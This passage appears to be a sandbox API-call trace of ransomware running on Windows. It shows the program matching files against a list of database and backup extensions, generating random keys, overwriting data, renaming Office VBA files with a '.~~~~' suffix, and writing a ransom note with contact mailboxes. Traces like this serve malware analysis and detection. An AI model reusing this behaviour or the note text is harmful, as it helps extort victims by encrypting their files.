	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DBV") returned 0x0
	[0087.158] lstrlenW (lpString=".dacpac") returned 7
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dacpac") returned 0x0
	[0087.158] lstrlenW (lpString=".sdf") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".sdf") returned 0x0
	[0087.158] lstrlenW (lpString=".accdb") returned 6
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".accdb") returned 0x0
	[0087.158] lstrlenW (lpString=".DBX") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DBX") returned 0x0
	[0087.158] lstrlenW (lpString=".MDT") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".MDT") returned 0x0
	[0087.158] lstrlenW (lpString=".SQB") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".SQB") returned 0x0
	[0087.158] lstrlenW (lpString=".vhd") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".vhd") returned 0x0
	[0087.158] lstrlenW (lpString=".bac") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".bac") returned 0x0
	[0087.158] lstrlenW (lpString=".mdf") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".mdf") returned 0x0
	[0087.158] lstrlenW (lpString=".BAK") returned 4
	[0087.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".BAK") returned 0x0
	[0087.158] lstrlenW (lpString=".BAC") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".BAC") returned 0x0
	[0087.159] lstrlenW (lpString=".dbs") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dbs") returned 0x0
	[0087.159] lstrlenW (lpString=".vhdx") returned 5
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".vhdx") returned 0x0
	[0087.159] lstrlenW (lpString=".NDF") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".NDF") returned 0x0
	[0087.159] lstrlenW (lpString=".dat") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dat") returned 0x0
	[0087.159] lstrlenW (lpString=".DBS") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DBS") returned 0x0
	[0087.159] lstrlenW (lpString=".CKP") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".CKP") returned 0x0
	[0087.159] lstrlenW (lpString=".edb") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".edb") returned 0x0
	[0087.159] lstrlenW (lpString=".PST") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".PST") returned 0x0
	[0087.159] lstrlenW (lpString=".dbf") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dbf") returned 0x0
	[0087.159] lstrlenW (lpString=".SQL") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".SQL") returned 0x0
	[0087.159] lstrlenW (lpString=".pst") returned 4
	[0087.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".pst") returned 0x0
	[0087.160] lstrlenW (lpString=".dbv") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dbv") returned 0x0
	[0087.160] lstrlenW (lpString=".SDF") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".SDF") returned 0x0
	[0087.160] lstrlenW (lpString=".dtxs") returned 5
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dtxs") returned 0x0
	[0087.160] lstrlenW (lpString=".db3") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".db3") returned 0x0
	[0087.160] lstrlenW (lpString=".OST") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".OST") returned 0x0
	[0087.160] lstrlenW (lpString=".dbx") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dbx") returned 0x0
	[0087.160] lstrlenW (lpString=".DB3") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DB3") returned 0x0
	[0087.160] lstrlenW (lpString=".DAT") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DAT") returned 0x0
	[0087.160] lstrlenW (lpString=".VHDX") returned 5
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".VHDX") returned 0x0
	[0087.160] lstrlenW (lpString=".ndf") returned 4
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".ndf") returned 0x0
	[0087.160] lstrlenW (lpString=".DB") returned 3
	[0087.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DB") returned 0x0
	[0087.160] lstrlenW (lpString=".sql") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".sql") returned 0x0
	[0087.161] lstrlenW (lpString=".MYD") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".MYD") returned 0x0
	[0087.161] lstrlenW (lpString=".DBT") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DBT") returned 0x0
	[0087.161] lstrlenW (lpString=".ACCDB") returned 6
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".ACCDB") returned 0x0
	[0087.161] lstrlenW (lpString=".fdb") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".fdb") returned 0x0
	[0087.161] lstrlenW (lpString=".bak") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".bak") returned 0x0
	[0087.161] lstrlenW (lpString=".myd") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".myd") returned 0x0
	[0087.161] lstrlenW (lpString=".DTXS") returned 5
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DTXS") returned 0x0
	[0087.161] lstrlenW (lpString=".ckp") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".ckp") returned 0x0
	[0087.161] lstrlenW (lpString=".dbt") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".dbt") returned 0x0
	[0087.161] lstrlenW (lpString=".db") returned 3
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".db") returned 0x0
	[0087.161] lstrlenW (lpString=".TXT") returned 4
	[0087.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".TXT") returned 0x0
	[0087.161] lstrlenW (lpString=".MDF") returned 4
	[0087.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".MDF") returned 0x0
	[0087.162] lstrlenW (lpString=".bdb") returned 4
	[0087.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".bdb") returned 0x0
	[0087.162] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0087.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.162] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.163] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.163] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.163] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20715332658) returned 1
	[0087.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dc15830, dwHighDateTime=0x1d60e1e)) 
	[0087.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9d00
	[0087.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d00 | out: hHeap=0x300000) returned 1
	[0087.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6958
	[0087.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0087.164] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.164] GetLastError () returned 0x0
	[0087.164] GetLastError () returned 0x0
	[0087.164] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.164] GetLastError () returned 0x0
	[0087.165] GetLastError () returned 0x0
	[0087.169] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.169] WriteFile (in: hFile=0x12c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.171] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.171] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.174] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.174] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.174] CloseHandle (hObject=0x12c) returned 1
	[0087.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6958
	[0087.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.~~~~")) returned 1
	[0087.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0087.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.175] GetLastError () returned 0x0
	[0087.176] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0087.176] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0087.177] CloseHandle (hObject=0x12c) returned 1
	[0087.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5e30 | out: hHeap=0x300000) returned 1
	[0087.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0087.177] RtlWakeConditionVariable () returned 0x365f70
	[0087.177] GetCurrentThreadId () returned 0x3a4
	[0087.199] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.200] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.200] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0087.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0087.200] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20719057985) returned 1
	[0087.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dc87c50, dwHighDateTime=0x1d60e1e)) 
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b170
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b170 | out: hHeap=0x300000) returned 1
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbab0
	[0087.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0087.201] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.201] GetLastError () returned 0x0
	[0087.202] GetLastError () returned 0x0
	[0087.202] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.202] GetLastError () returned 0x0
	[0087.202] GetLastError () returned 0x0
	[0087.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.214] WriteFile (in: hFile=0x130, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.215] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.218] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.218] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.218] CloseHandle (hObject=0x130) returned 1
	[0087.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbab0
	[0087.218] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.~~~~")) returned 1
	[0087.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0087.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.219] GetLastError () returned 0x0
	[0087.228] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.229] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0087.230] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20721973896) returned 1
	[0087.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dcd3f10, dwHighDateTime=0x1d60e1e)) 
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbab0
	[0087.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0087.230] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.231] GetLastError () returned 0x0
	[0087.231] GetLastError () returned 0x0
	[0087.231] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.231] GetLastError () returned 0x0
	[0087.231] GetLastError () returned 0x0
	[0087.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.234] WriteFile (in: hFile=0x130, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.236] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
